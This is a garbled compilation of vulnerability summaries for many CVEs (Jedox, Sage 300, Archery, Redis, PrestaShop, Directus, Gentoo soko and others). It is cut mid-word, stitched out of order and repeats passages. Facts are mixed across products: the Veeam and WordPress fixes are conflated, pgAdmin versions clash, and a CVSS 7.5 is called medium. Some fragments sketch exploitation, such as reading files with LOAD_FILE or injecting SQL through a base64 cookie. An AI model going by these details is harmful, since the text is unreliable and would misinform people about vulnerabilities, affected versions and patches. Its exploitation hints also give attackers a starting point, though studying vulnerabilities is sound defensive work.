Joint of Jedox GmbH Jedox 2020.2.5. This allows remote authenticated users to exploit the 'getGlobalCty.com/files/172156/Jedox-2020.2.5-Database-Credential-Disclosure.html' and 'https://docs.sysliftersained authenticated access to the Jedox 2020.2.5 application. Once authenticated, the attacker could i a hard-coded 40-byte blowfish key is used to encrypt and decrypt user passwords and SQL connectoridentified in CVE-2022-41400.

th a hard-coded key and stored in ISAM database files are at risk of being decrypted by unauthorized p s official product page at <https://www.sage.com/en-ca/products/sage-300/>.

ss to the shared data directory where the ISAM database files are stored. Once access is obtained, the potentially illegal. However, in a theoretical scenario, exploitation would involve an attacker obtaining up to version 2022, where a hard-coded 40-byte Blowfish key ('PASS_KEY') is used to encrypt and decry i key to secure the database connection string in the 'dbconfig.xml' file. Due to this, an attacker who ga ection string for the PORTAL database and potentially access the SQL database. This could lead to una s are typically provided in the Common Vulnerability Scoring System (CVSS) to evaluate the severity of bound on its official webpage at <https://www.sage.com/en-ca/products/sage-300/>.

e 'dbconfig.xml' file where the database connection string is stored. Using the hard-coded 'PASS_KEY', up to 2022. This vulnerability arises from the use of a hardcoded 40-byte Blowfish key, named 'Landlo resent in the optional Web Screens and Global Search features of the software.

ers the key, they could potentially decrypt sensitive information such as passwords or other secrets stc iing or mitigating the issue. This may involve updating to a newer version of the software where the vu ker with access to the configuration files or database could use the hardcoded key to decrypt sensitive hould refer to the Sage website and support channels for any patches or mitigation steps that have be 9.x). When Sage 300 is set up in a 'Windows Peer-to-Peer Network' or 'Client Server Network' configui 'Peer-to-Peer Network' or a 'Client Server Network'. In these types of configurations, the 'SharedData' fo rs and SQL accounts. This can facilitate impersonation of users and possibly allow for system administ

age.com, and a case study related to this vulnerability is available at <https://www.controlgap.com/blc>kstation with access to the 'SharedData' folder on the connected Sage 300 server. This is considered a figuration. An employee with low-level privileges and access to a workstation within this network coul 5 through 2302 when obtained as an ISO file. This vulnerability exposes authentication credentials in p terface credentials (AMPDBUSER, AMPDBPASS, AMPMGRUSER, and AMPMGRPASS) in the global variough 2302 that were installed using an ISO file. These versions contain the vulnerability that could allo

ePBX management interface or Asterisk Database by exploiting the exposed credentials. They could m cure.com.cy/resources/advisories/sangoma-freepbx-linux-insecure-permissions', '<https://www.freepbx.org/>' security scoring systems like CVSS provide a metric to gauge the severity of vulnerabilities, but this particul 'Things (IoT) devices. Specifically, it is an off-by-one error in the Antelope database management syste ge_get_index` and `storage_put_index` functions being one byte smaller than needed. This error coul e Contiki-NG system is used. Potential impacts include denial of service, where the system could crash the Contiki-NG project. It will be included in the subsequent release after the vulnerability record was the patch provided in Contiki-NG pull request #2425. The pull request contains the necessary code cha

/vulnerability references. Reading through the security advisory at '<https://github.com/contiki-ng/contiki-NG>

ows (includes Db2 Connect Server) versions 10.5, 11.1, and 11.5. It allows for remote code execution k

' execute arbitrary code or read/write files from another database within the same Db2 instance.
t <https://exchange.xforce.ibmcloud.com/vulnerabilities/252011>, a NetApp Security Advisory at https:/
an typically be found in the National Vulnerability Database or through the Common Vulnerability Scov

trator who has legitimate access to one database within a Db2 instance. They could exploit this vulner

.8.9.

er to write, update, and delete in the database without requiring specific permissions.

and 1.7.8.9, which contain a patch for this vulnerability.

ility outlined in CVE-2023-30839. The recommended solution is to update to a patched version of Prest

exploiting the vulnerability to modify critical database information, which can lead to website defacement provided commit links or by checking the PrestaShop security advisory at the reference URL '<https://github.com/PrestaShop/PrestaShop/pull/1023>'.

d by CVE-2021-23186.
12186

3186.

e of other tenants in a multi-tenant system.

38- <https://www.debian.org/security/2023/dsa-5399>

exploiting the vulnerability to gain unauthorized access to other tenants' database information in a multi-detail.

..7.8.9.

.4 or 1.7.8.9, which include a patch for this security issue.

ead any file on the operating system where PrestaShop is installed. This could lead to the disclosure of access to the SQL Manager within PrestaShop could exploit CVE-2023-30545 by using an SQL query w lanager using the `LOAD_FILE` function to read sensitive files, such as configuration files, password file hub repository and its associated security advisories at the following URLs: [https://github.com/PrestaS](https://github.com/PrestaS ic data permissions could access database connections and their stored passwords by making a reques)

can gain access to database connection details, including stored passwords.

/www.openwall.com/lists/oss-security/2023/04/24/3- https://lists.apache.org/thread/s9w9w10mt2sr

gains legitimate access as an authenticated user of Apache Superset with specific data permissions. This is a Joomla 3' extension.

tion in constructing SQL queries, which allows an attacker to insert or manipulate queries and interact with the database. This is particularly significant, as it allows an attacker to read, modify, and delete data in the database, leading to data breaches.

https://blog.asturhackers.es/sql-injection-en-visforms-base-package-for-joomla-3-0-5-cve-2023-23753 - If you provide specially crafted input that includes SQL code, which might look something like this when C

y the extension developers, ensuring input validation and parameterized queries are used, and applying integrity, and availability of a website's database, enabling attackers to carry out unauthorized actions using malicious input through form fields or URL parameters that are improperly handled by the extension. This vulnerability arises from multiple SQL injection points that occur due to unsafe concatenation of user input in `sql/engine/go_inception.py` and `sql/engine/mysql.py`. These methods fail to properly sanitize user input when creating and executing SQL queries. These practices help to ensure that input from users cannot be exploited.

Following references: a GitHub commit link at '<https://github.com/hhyo/Archery/blob/bc86cda4c3b7d5>

project, an open source SQL audit platform. These vulnerabilities arise as a result of unsafely concatenating SQL engines for MSSQL and Oracle. The affected methods are 'get_group_tables_by_db' in 'sql/engine/mysql.py'. Let's look something like this:

```
In 'sql/engine/mssql.py':``def get_group_tables_by_db(db_name):    que
```

ding practices. This includes escaping user input to remove potentially harmful characters or, preferably, prepared statements should be used when executing SQL queries. This prevents attacks.

I found the GitHub repository of the Archery project. The direct link to this advisory is: <https://github.com/hhyo/Archery/security/advisories/GHSA-6pv9-9gq7-hr68>. It contains malicious SQL code through the 'db_name' parameter in the Archery's 'table_list' endpoint. If an attacker sends a crafted SQL query, it can lead to privilege escalation. The Base Score field for this CVE is marked 'N/A' which stands for 'Not Available'.

This identifier is used within the GitHub Security Lab context, which may provide additional context about the severity of the vulnerability. The affected code in the Archery GitHub repository: <https://github.com/hhyo/Archery/blob/bc86cda4c3b7d5#L106>.

This identifier is used within the GitHub Security Lab context, which may provide additional context about the severity of the vulnerability.

The user input fields. Specifically, the attack occurs when user input from the 'db_name' parameter is

ed in 'sql_optimize.py' and consider using prepared statements when dealing with SQL queries to prevent

SQL injection attacks.

The user input fields. Specifically, the attack occurs when user input from the 'db_name' parameter is

ed in 'sql_optimize.py' and consider using prepared statements when dealing with SQL queries to prevent

SQL injection attacks.

The user input fields. Specifically, the attack occurs when user input from the 'db_name' parameter is

ed in 'sql_optimize.py' and consider using prepared statements when dealing with SQL queries to prevent

SQL injection attacks.

The user input fields. Specifically, the attack occurs when user input from the 'db_name' parameter is

nt malicious SQL code from being executed or by using prepared statements when executing SQL quer
object's security advisory at the following URL: <https://github.com/hhyo/Archery/security/advisories/GI>
` file, which passes unfiltered input to the `explain_check` method in the `sql/engines/oracle.py`.
ulnerability exploitation could look like the following in the context of CVE-2023-30554: ``python# V
ng attack scenarios:1. Data Breach: By exploiting the SQL injection flaws, an attacker could extract sensi
hery project.

cious SQL code through the `db_name` and `full_sql` parameter values in the `api_workflow.py` ``Execu
erally the unsafe code would look something like this for python using string concatenation: ``python#
ut or use prepared statements when executing SQL queries to ensure that user input is not executed a
uthorized access to sensitive data within the database, data manipulation, and possibly further attacks i
s time.

..: <https://github.com/hhyo/Archery/security/advisories/GHSA-hvcq-r2r2-34ch>.

orm is CVE-2023-30552.

bility described in CVE-2023-30552.

0552 include `describe_table` in `sql/engines/clickhouse.py`, `sql/engines/mssql.py`, `sql/engines/mys
or by using prepared statements when executing SQL queries.

-30552 are `tb_name`, `db_name`, and `schema_name`.

ould be an attacker manipulating the `tb_name`, `db_name`, or `schema_name` parameter values in a

ge at: <https://github.com/hhyo/Archery/security/advisories/GHSA-9jvj-8h33-6cqp>.

exploiting multiple SQL injection vulnerabilities within the Archery SQL audit platform.

ithenticated users can use the `HINCRBYFLOAT` command to create an invalid hash field that will crash

19. Users are advised to upgrade to these versions to mitigate the vulnerability.

n is to upgrade to a fixed version of Redis.

rmined from the provided information. However, as it causes Redis to crash, it might be considered at

g crafted `HINCRBYFLOAT` commands to create invalid hash fields in Redis. This could result in the Rec
volves using the `HINCRBYFLOAT` Redis command to create an invalid hash field that when accessed, c
official Redis GitHub repository commit and pull request linked in the references, the GitHub security :

934.

dification access to critical data or all Java VM accessible data, as well as unauthorized access to critica

ert URL: <https://www.oracle.com/security-alerts/cpuapr2023.html>.

-21934 has high confidentiality and integrity impacts.

has gained user account access to the Oracle Database Server over a TLS connection. The attacker could target component of Oracle Database Server, specifically affecting the supported versions 19c and 21c.

, in order to exploit CVE-2023-21918.

use the Oracle Database Recovery Manager to hang or crash repeatedly, leading to a complete Denial of service impact on the availability of the Oracle Database Recovery Manager.

age at the following URL: <https://www.oracle.com/security-alerts/cpuapr2023.html>

has already compromised an account with Local SYSDBA privileges. Using these credentials, the attacker has potential for misuse. Responsible disclosure focuses on highlighting the issue and ensuring it is patched.

1.

is affected by CVE-2023-30771.

otdb-web-workbench component is fixed from version 0.13.4 onwards.

.openwall.com/lists/oss-security/2023/04/18/7 and <https://lists.apache.org/thread/08nc3dr6lshfppx0> giving access to IoTDB functions that should be restricted. They might be able to view, modify, or delete data.

atabase system used for managing application permissions. The vulnerability involves an issue where the trusted network and the `--grpc-preshared-key` is configured via the command-line flag. Deployments fail metrics port, which by default runs on port 9090. If the metrics service is accessible from an untrusted shared key via an environment variable instead of a command-line flag (e.g., `SPICEDB_GRPC_PRESHAR

ub Security Advisory for SpiceDB: <https://github.com/authzed/spicedb/security/advisories/GHSA-cjr9-> iE Vernova, and he responsibly disclosed it.

test to the vulnerable SpiceDB metrics endpoint `/debug/pprof/cmdline`. If the server is misconfigured, CVE-2023-29194.

actors in its name can lead to errors when users try to view keyspaces from VTAdmin, or when they try to fix of CVE-2023-29194, is `vtctldclient GetKeyspaces`.

ision 16.0.1, where the behavior causing the error has been fixed.

e that contains the `/` character using the CLI client (`vtctldclient`).

and version of Vitess, a general command using `vtctldclient` that might be used to delete a problematic key. Possible attack scenarios could include a user deliberately creating keyspaces with names that include

he official Vitess GitHub repository, specifically in the commit with the hash adf10196760ad0b3991a7a8. It highlights a local security issue where users can cause memory corruption through malformed data. Older versions should consider upgrading to a patched version to mitigate this security risk.

t contains malformed data and placing it in the \$HOME/.terminfo directory or influencing the TERMIN score to gain unauthorized access or escalate privileges on the local system, considering the application is Score in the Common Vulnerability Scoring System (CVSS). For updates regarding the score, users should check for updates and patches related to this vulnerability if they use affected versions of ncurses.

uch as the official ncurses git repository, mailing lists like oss-security, and advisories from organizations. An application using the ncurses library function to read terminal capabilities from the user's terminfo database is able to create or modify terminfo database files in a location that will be read by a set of

n versions 387.v938a_ecb_f7fe9 and earlier. The issue lies in the fact that the plugin does not require

: without the need for a POST request. This could potentially disrupt services by triggering unnecessary
//www.openwall.com/lists/oss-security/2023/04/13/3- https://www.jenkins.io/security/advisory/202:
: affected by CVE-2023-30529.

ET request to the vulnerable endpoint in the Jenkins Lucene-Search Plugin. Since the plugin does not r
i should upgrade to a version that has the vulnerability patched. If a fixed version is not yet available, t
er for CS-Cart that allows remote attackers to inject arbitrary information into the database. This secu
ally crafted requests to the 'shipnotify' endpoint of the CS-Cart ShipStation.com plugin. Since the endp
information into the database associated with the CS-Cart e-commerce platform, specifically through
ase score is typically used to give an overview of the severity of a vulnerability, but in this case, it is list

ferences provided are: the ShipStation help center article (<https://help.shipstation.com/hc/en-us/article/90000000000>) and a GitHub release note that discusses how to gather valid order numbers from the affected CS-Cart site or through social engineering. Once
agement software package, which exists in versions starting from 0.50 up to those prior to versions 9.13 and 10.0.7, which means that the severity of this vulnerability has not been definitively classified in our dataset
versions prior to 9.5.13 and 10.0.7. Users of these versions are susceptible to the SQL Injection vulnerability found in 9.5.13 or 10.0.7, which contain patches for this issue. As a workaround, users can remove the 'Assist' feature from GLPI, which provides access to specific functionalities within GLPI to extract all data from the database but also enables other features such as user management and reporting. Additionally, the GitHub release pages for the patched versions (9.5.13 and 10.0.7) advise users to update their GLPI installation to the latest version to ensure they are protected against this vulnerability.
the 'Assistance > Statistics' and/or 'Tools > Reports' functions in an unpatched version of GLPI could expose sensitive information to an attacker. Specifically, this CVE addresses an issue in Mastodon versions 4.5.8, 4.0.4, and 4.1.2.

secure during the authentication step. This allows the possibility of an LDAP injection attack, where an attacker would generally involve the attacker supplying malicious input to the LDAP authentication query. F

look up the official Mastodon GitHub repository to review the security advisory and pull request that fix this issue. The fix was implemented in version 4.1.2 and later. The issue was due to a bug in the LDAP authentication code that did not properly validate user input, allowing an attacker to inject arbitrary LDAP queries. The fix ensures that user input is properly sanitized before being used in the LDAP authentication process. Additionally, the fix includes a check for the presence of certain characters in the user input that could indicate an attempt at an LDAP injection attack. This helps prevent such attacks from being successful. The fix was backported to previous versions of Mastodon, including 4.0.4 and 4.5.8, to ensure that all users are protected against this vulnerability.

ole backups without providing access to the `pg_dump` or `mysqldump` backup tools for PostgreSQL or MySQL where the issue has been fixed. Alternatively, users who cannot upgrade should either disable backi

atabase that GoCD is initially configured to use.

itory, specifically in the commit, release notes for version 23.1.0, and the corresponding security advisory. It details a vulnerability where a user can gain administrative privileges by exploiting a bug in pgAdmin 4 versions prior to v6.19. This vulnerability allows a user of the application to potentially admin alerts on the UI noticing the leaked credentials and misusing them, or an attacker gaining access to a PostgreSQL database server with enabled database backups but without the `pg_dump` tool present in the system's PATH.

that an attacker could exploit this vulnerability to access files and directories stored on the server that the issue tracker at '<https://github.com/pgadmin-org/pgadmin4/issues/5734>' and the Japanese vulnerability. It is recommended that users upgrade to version v6.19 or later as soon as possible, as this update contains the necessary fixes to prevent an attacker from manipulating input fields or sending crafted requests to the application in an attempt to traverse the directory structure. The affected version is pgAdmin 4.18.0. The fix was released on January 12, 2023, under the identifier CVE-2023-24840.

ailSherlock, allowing SQL injection.

y reported in CVE-2023-24840.

erability described in CVE-2023-24840.

I can inject SQL commands to read, modify, and delete the database.

Response Team/Coordination Center (TWCERT/CC) website: <https://www.twcert.org.tw/tw/cp-132>.
available, a hypothetical example of exploiting a SQL injection vulnerability could be as follows: Imagine if
dministrative access to the HGiga MailSherlock system. Once in control, the attacker could inject SQL
app dashboard for managing SQL database content. The issue lies in the improper redaction of `directu
l individuals could obtain refresh tokens from log outputs. These tokens could then be used to impersonate
ly redacted from log outputs to prevent the exposure of sensitive information. This fix was implemented
s of these versions are advised to update to version 9.23.3 or later to mitigate the risk associated with
· Directus installations to version 9.23.3 or later. Additionally, they should review their logs and potent
Hub (GHSA-8vg2-wf3q-mwv7), as well as by reviewing the related commit (349536303983ccba68ecb3
g access to the application logs either through unauthorized network access or by exploiting another v
database activity lacked the necessary token to prevent a CSRF (Cross-Site Request Forgery) risk. This
ions on a web application where a user is currently authenticated by tricking the victim into clicking a l
ds an image that causes any authenticated user who clicks on it to inadvertently reset all templates of
resetting its templates without the user's consent or knowledge. This could lead to loss of customizati
ch directs to a Moodle forum discussion: <https://moodle.org/mod/forum/discuss.php?d=445067>.

JRLs or embed harmful actions in webpages that, when visited by an authenticated user, cause unintended consequences. The 'N/A' in the provided information.

efficient sanitization of content output by a database auto-linking filter.

: Fedora Project's mailing list and a discussion on the Moodle official forum. URLs for these references us input that, when processed by the vulnerable filter, would result in unescaped JavaScript code being i a patch or version that addresses the vulnerability. Developers should ensure that the database auto- le Manager versions 3.0, 3.0.1, 4.0, 4.1, and 4.1.1. It is an SQL injection flaw that could allow a remote Judge 3.0, 3.0.1, 4.0, 4.1, and 4.1.1.

information in the back-end database of IBM Security Guardium Key Lifecycle Manager. This could lead to the application. For example, an attacker may inject malicious SQL code into input fields or through <https://xforce.ibmcloud.com/vulnerabilities/247597> and <https://www.ibm.com/support/pages/node/6>. Users should refer to the official IBM Security advisories or support pages. These sources may provide a web request that includes malicious SQL code. This could be done by taking advantage of a vulnerable interface, and 4.1.1 are at risk due to CVE-2023-25684, particularly if they are exposed to the internet or an unauthenticated user. Specifically, it is present in versions starting from 7.0.8 up to but not including 7.0.10. Authenticated users are at risk prior to 7.0.10.

des a fix for the vulnerability.

of the Redis server process. An attacker who successfully exploits this vulnerability could cause a denial of service. A fix for this vulnerability was released on GitHub at <https://github.com/redis/redis/security/advisories/GHSA-mvmm-4vq6-vw8c>.

You can see the changes made to fix the vulnerability at the following URL: <https://github.com/redis/redis/pull/1250>. One step to address CVE-2023-28425 is to limit access to the Redis MSETNX command to trusted authenticated users. It is recommended to apply the security fix and prevent potential exploitation of the vulnerability as soon as possible. Specifically, it is present in versions starting from 7.0.8 up to but not including 7.0.10. Authenticated users are at risk prior to 7.0.10.

erence System, specifically in the file /alphaware/details.php through the 'id' parameter.

https://github.com/1Murasaki/bug_report/blob/main/vendors/razormist/Alphaware%20-%20Simple%20E-Commerce%20System%20-%20SQL%20Injection%20Vulnerability.md

An attacker to issue arbitrary SQL commands to the database system behind the Alphaware Simple E-Commerce System. An SQL injection in the context of CVE-2023-26905 would involve an attacker inserting or appending malicious SQL code into input fields such as names, addresses, and payment information; destroying or altering records; executing denial-of-service attacks; or bypassing security measures. It pertains to a SQL Injection vulnerability present in versions up to and including 1.2.5. The issue arises from the fact that the 'id' parameter is not sufficiently escaped. Suppose the original vulnerable code in the plugin allows for low-level permissions, such as those of a subscriber. This low level of required permissions increases the risk factor.

The WP Popup Banners plugin code in the WordPress plugin repository at <https://plugins.trac.wordpress.org/plugin/wppb> allows an attacker to issue arbitrary SQL commands to the database system behind the Alphaware Simple E-Commerce System, perhaps with only subscriber-level access, sending a manipulated HTTP request to the site. The request is sent to the 'wp-admin/admin-ajax.php' endpoint, which is accessible via the 'admin-ajax' action. The vulnerability is present in all versions prior to V5.3. It relates to an SQL injection vulnerability in the audit log form of the plugin. An attacker can manipulate the input to the audit log form in a way that a crafted SQL query is sent to the server. If the input is not properly sanitized, it can lead to unauthorized viewing or extraction of data, manipulation or deletion of database records, disruption of data processing, or even a denial-of-service attack.

Siemens, which is accessible at: <https://cert-portal.siemens.com/productcert/pdf/ssa-320629.pdf>. The vulnerability involves injecting malicious SQL statements into an input field. For instance, if the audit log form accepts input from an untrusted source, an attacker can exploit this vulnerability to execute arbitrary SQL queries. Additionally, implementing proper input validation and sanitization can help prevent this type of attack. CVSS scores are typically part of the Common Vulnerability Scoring System (CVSS) and are used to rate the severity of a vulnerability. A CVSS score of 7.5 indicates a high severity vulnerability, which means it could be leveraged by someone who has legitimate access credentials, potentially making it easier for an attacker to exploit the system. The Alphaware Simple E-Commerce System is affected by this vulnerability in versions less than or equal to 1.2.5.

WP CSV to Database plugin for WordPress, version 2.6, is affected by CVE-2022-47163.

The plugin allows an attacker to execute arbitrary SQL queries on behalf of a logged-in administrator or user without their consent, potentially leading to data disclosure or manipulation. The vulnerability is located in the 'wp-csv-to-database.php' file, specifically in the 'process_csv_file' function. An attacker can exploit this vulnerability by sending a specially crafted CSV file to the plugin, which will be processed by the function. The function does not properly validate the input, allowing an attacker to execute arbitrary SQL queries on the database.

cious webpage or email that, when visited by a logged-in administrator to the vulnerable WordPress vulnerability CVE-2022-47163.

ily versions 751, 753, 754, 756, 757, and 791. It allows an authenticated high privileged user to inject n

1.

confidentiality of the application as it allows an attacker to gain access to unintended data. However, the URL 'https://launchpad.support.sap.com/#/notes/3289844' and 'https://www.sap.com/documents/2022/02/' indicates that the organization who is authenticated to the SAP ABAP system. The attacker could exploit the lack of information about the organization's security posture, and the CVSS base score is marked as 'N/A' (Not Available).

authentication and authorization for the CodeIgniter 4 PHP framework. Specifically, it addresses a weakness where users' hashed passwords if they obtain both the hashed password generated by Shield and the corresponding salt. This issue was fixed in CodeIgniter Shield version 1.0.0-beta.4 or later. Additionally, after upgrading, they need to update all users' hashed passwords and save them with a salt. An attacker who has obtained both the hashed password and the corresponding SHA-384 hash without salt could easily crack the password. The fix was released in late 2022. The fix is available in the official documentation provided by the CodeIgniter Shield maintainers, and other related resources. These include the official documentation, the GitHub repository, and the changelog. To resolve this issue, users should upgrade to CodeIgniter Shield version 1.0.0-beta.4 or later, which addresses the issue, and to update all other service where the user has an account and where SHA-384 hashes without salt are used. After updating, the configuration database should be checked for any remaining entries that do not have a salt.

cle at <https://www.veeam.com/kb4424>.

core is determined by several metrics, but the given dataset does not include these details.

bility to extract encrypted credentials from the configuration database. Once the credentials are obtained, an attacker can use them to log in to the system. This vulnerability was first reported in late 2022 and was fixed in Veeam Backup & Replication version 12.0. This vulnerability means that backups of sent and received faxes, as well as database backups, are stored in plain text.

using the Common Vulnerability Scoring System (CVSS), but sometimes this score is not assigned at the time of discovery. The fix was released in late 2022. The fix is available in the official documentation provided by the Directus maintainers, and other related resources. These include the official documentation, the GitHub repository, and the changelog. To resolve this issue, users should update their Directus instance to the latest version, which includes the fix for this vulnerability.

ed or concealed fields from being filtered against with `'_starts_with` or other string operators in versions 1.4.0 and earlier. This vulnerability was first reported in late 2022 and was fixed in Veeam Backup & Replication version 12.0. The fix is available in the official documentation provided by the Veeam maintainers, and other related resources. These include the official documentation, the GitHub repository, and the changelog. To resolve this issue, users should update their Veeam Backup & Replication instance to the latest version, which includes the fix for this vulnerability.

is on a WordPress site or anyone with a higher level of access. Such users should not normally have this level of access.

er-level or higher access can exploit the lack of proper capability checking to invoke a function and get a changelog at the WordPress plugins Trac: https://plugins.trac.wordpress.org/changeset?sfp_email=1. An attacker who has obtained both the hashed password and the corresponding SHA-384 hash without salt could easily crack the password. The fix was released in late 2022. The fix is available in the official documentation provided by the WordPress maintainers, and other related resources. These include the official documentation, the GitHub repository, and the changelog. To resolve this issue, users should update their WordPress instance to the latest version, which includes the fix for this vulnerability.

e API and App dashboard used for managing SQL database content. This vulnerability particularly affects parameters in a allow-listed password reset URL provided by Directus instances. An attacker could exploit links that appear legitimate as they come from the server's domain. The links could contain harmful HTML. A fix for version 9.23.0, which contains the necessary patches to mitigate the vulnerability.

Version 9.23.0 or later. If upgrading is not immediately possible, users may disable the custom reset URL in the Directus GitHub repository, specifically in the related issue report at <https://github.com/directus/directus/>. In the interest of security, and often such examples are considered sensitive information. The specific versions of Directus are strongly advised to upgrade to version 9.23.0 or later in order to apply the available security patches.

The own functionality of the admin/database.php file, specifically the Backup Database Handler component, is present in the admin/database.php file of ECshop up to version 4.1.8.

An attacker could manipulate the affected file to upload arbitrary files to the server. This could lead to further exploitation of the system. It is important to note that details of the vulnerability might be available, and malicious actors could potentially leverage them.

Details: <https://github.com/wjzdalao/ecshop4.1.8/issues/1>, <https://vuldb.com/?ctiid.222356>, and <https://vuldb.com/?ctiid.222357>. The vulnerability is located in the Backup Database Handler. Potential attack scenarios include but are not limited to: uploading web shell files and stealing sensitive information.

The server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. This can be achieved by making a POST request to `/files/import`. An attacker can exploit this by using a proxy to forward requests to internal servers and potentially steal sensitive information. The attacker might also perform a local privilege escalation.

Following URLs:- Commit: <https://github.com/directus/directus/commit/ff53d3e69a602d05342e15d9bb> then tricking the Directus application into making a request to a domain that resolves to an internal IP address.

arbitrary database select queries and access data stored in the database.

14.4.7, and 14.10.

Redacted versions of XWiki Platform.

Details: <https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-vpx4-7rfp-h545> and the XWiki Jira issue [XWIKI-10000](https://jira.xwiki.org/browse/XWIKI-10000).

A Redacted XWiki Platform instance crafts a malicious page or script that executes a SELECT query on the database. Since the vulnerable code cannot provide a code snippet for exploiting CVE-2023-26473, it's important for users to protect their XWiki installations. It is recommended to upgrade to one of the patched versions - 13.10.11, 14.4.7, or 14.10 - to mitigate the vulnerability described by CVE-2023-26473. The vulnerability persists on disk. This vulnerability allows authenticated users to trigger an integer overflow by issuing certain commands. The vulnerability has been released in versions 6.0.18, 6.2.11, and 7.0.9, so any versions before these are affected. Users of Redacted XWiki should upgrade to these versions or later to mitigate the vulnerability.

Fixing the issue: <https://github.com/redis/redis/commit/2a2a582e7cd99ba3b531336b8bd41df2b566>. An attacker can exploit this vulnerability by issuing commands that are designed to trigger an integer overflow. This will result in a runtime assertion failure, which terminates the Redis server process. This sudden termination of the service can cause data loss or corruption.

An attacker with sufficient privileges could send a malicious command with a large number of arguments to the Redis server, causing it to crash and potentially exposing sensitive data or causing denial of service.

ring and observability. It relates to a stored XSS (Cross-Site Scripting) vulnerability that was discovered in Grafana. An Admin user can inject malicious JavaScript into a Text panel. Then another user, presumably with higher privileges, needs to edit the same panel. The vulnerability has been patched in Grafana versions 9.2.10 and 9.3.4, implying that previous versions may be affected. It is advised to update to these versions or later to mitigate the vulnerability.

r, considering it is a stored XSS issue, a hypothetical example would involve an attacker embedding a GitHub security advisories, and other third-party advisories such as the one from NetApp. References possess the Editor role within a Grafana environment to inject malicious JavaScript into a Text panel. Further base that also persists on disk. This vulnerability can be exploited by authenticated users who can use older versions contain the vulnerability which can lead to a denial-of-service attack.

In Redis. An authenticated user can use string matching commands with malicious patterns that would trigger the vulnerability. It's crucial to update the software to one of these versions to prevent such attacks. To determine the severity and base score, one would have to consult official vulnerability databases or the Common Vulnerabilities and Exposures (CVE) database. Given the information, an authenticated user may provide specially crafted patterns as arguments to the `SCAN` command, causing the Redis service unresponsive. The exploitation of this vulnerability results in Redis hanging and consuming excessive memory.

it linked in the references. You can review the details and patches on the GitHub commit at <https://github.com/php/php-src/pull/103>. The `password_verify()` function could incorrectly accept certain invalid Blowfish hashes as valid. Consequently, before PHP 8.1.16, and PHP 8.2.X before 8.2.3.

ccess to user accounts. Since the `password_verify()` function could treat an invalid Blowfish hash as valid, this can be found in online references such as the PHP bug tracker page at <https://bugs.php.net/bug.php?id=70000>. This issue by showing how a call to `password_verify()` with an invalid Blowfish hash might return 'true' and grant access to the application's password database, either through a separate vulnerability or a data breach. The Common Vulnerability Scoring System (CVSS) rating for this vulnerability is 7.5, indicating a medium severity rating according to the CVSS version 3.0. It is a SQL injection vulnerability, which allows attackers to send SQL commands to the database. This type of vulnerability is very serious as it allows malicious actors to manipulate the SQL queries executed by the application. For example, if an attacker sends a specially crafted password to the 'password' input field, they may be able to bypass the password verification process and gain unauthorized access to the system.

cally means that the vulnerability has not been scored using the Common Vulnerability Scoring System (CVSS) such as passwords, personal information, or financial records; insertion of malicious data; deletion /E details: https://github.com/hundanchen69/bug_report/blob/main/vendors/janobe/Online%20Review. The database plugin is CVE-2022-47612.

lants Database plugin for WordPress, specifically in versions up to and including 2.4.5, which could allow an attacker to gain access to sensitive information.

on 28 February 2023.

[ps://patchstack.com/database/vulnerability/participants-database/wordpress-participants-database](https://patchstack.com/database/vulnerability/participants-database/wordpress-participants-database)-
web page or email that includes a forged request, such as an HTML form or JavaScript code, that update-
pically, the exploitation would involve creating HTML or JavaScript that sends a forged POST request to
that was discovered in the A4N (Aremis 4 Nomad) application version 1.5.0 for Android. The vulnerabilit-
ed in a local database. If an attacker gains access to the device, they could easily retrieve the stored pa-
words of any user who has logged into the A4N application on the compromised device. This could lead
to the device or through malicious software that is capable of reading local databases on the device. Il-
lence links provided. One is a security advisory from Excellium Services at '<https://excellium-services.co>
cation version 1.5.0 for Android. This vulnerability specifically allows SQL Injection, which is a type of

An attacker can inject malicious SQL queries into an application's database query input fields, potentially compromise the Aremis 4 Nomad application and potentially access, modify, or delete sensitive data stored in the database.

tes like Excellium Services, as well as on the official website of the Aremis application. The URLs provided, similar to CVE-2022-34909. String user_input = request.getParameter('username');String query = 'SI
vulnerable input field in the A4N application. The attacker could then craft a specially designed SQL statement to source closed-circuit television (CCTV) software for Linux that supports various types of cameras including the ability to execute arbitrary code into the database logs through the referrer field, which then gets executed when viewing the logs. It is recommended that users of the A4N application should ensure they are using version 1.36.33 or later to be protected from this vulnerability.

rabilities like CVE-2023-25825 can potentially have severe implications as they could be exploited to prompt users to update to this version or a later one to resolve the XSS vulnerability.

repository. The following commits address the issue:- <https://github.com/ZoneMinder/zoneminder/commit/26033>. This vulnerability allows an unauthenticated user to trigger a SQL injection attack via a link with a malicious referrer to a ZoneMinder administrator. When the administrator clicks on the link, the browser sends a POST request to the ZoneMinder server with the referrer set to `http://vulnerables.packages.gentoo.org`. This vulnerability is related to an SQL Injection issue present in versions prior to 1.42.0, which was fixed as CVE-2023-26033.

ted Packages' view for the index page. The 'search_history' cookie, which stores base64 encoded commands potentially leading to the alteration or deletion of database contents which results in Denial of Service. Inserting a malicious SQL command into base64 format and then setting the 'search_history' cookie with this encoded command will result in the execution of the command on the database of packages.gentoo.org. There are no confidentiality issues for site users as the data is public. Gentoo soko version 1.0.1 or later, which contains a patch for the vulnerability. Additionally, one could use a proxy such as mitmproxy or curl with --http2 to intercept the request and modify the 'search_history' cookie to contain a valid SQL command. An advisory at <https://github.com/gentoo/soko/security/advisories/GHSA-gp8g-jfq9-5q2g> and the related commit `5ae9ca83b73` provide more details.

• Base Score is often determined by the Common Vulnerability Scoring System (CVSS) but may not have a direct impact on a Deserialization of Untrusted Data vulnerability.

trusted Data. This means that when the `BsonMapper` is casting BSON documents to POCO classes and performs basic fixes that are designed to avoid the deserialization of unsafe objects. However, it is noted that this is a temporary measure, and the exact nature of these workarounds is not specified in the provided information and would need to be determined through further investigation.

; the special `_type` field with a full class name pointing to a malicious Assembly. When the LiteDB dat

which could lead to the misinterpretation of log files when malicious packets are sent to the Geo SCADA, and 2021 (all versions prior to October 2022), as well as ClearSCADA (all versions).
ed for secure web traffic (HTTPS).

owing URL: https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-045-01&p_enDocType=1. These packets to the Geo SCADA server's database web port. These packets may contain sequences, such as newlines, which, in specific circumstances, allows a privileged user to execute arbitrary code, potentially leading to service disruption. The application takes arbitrary data from users and serializes it using `_t` without any validation. 2) The application has a known vulnerability in its configuration interface, specifically in the 'System' section, where the 'Version' field is not properly validated. This can lead to a denial of service condition if an attacker provides a large amount of data or a specific sequence of characters.

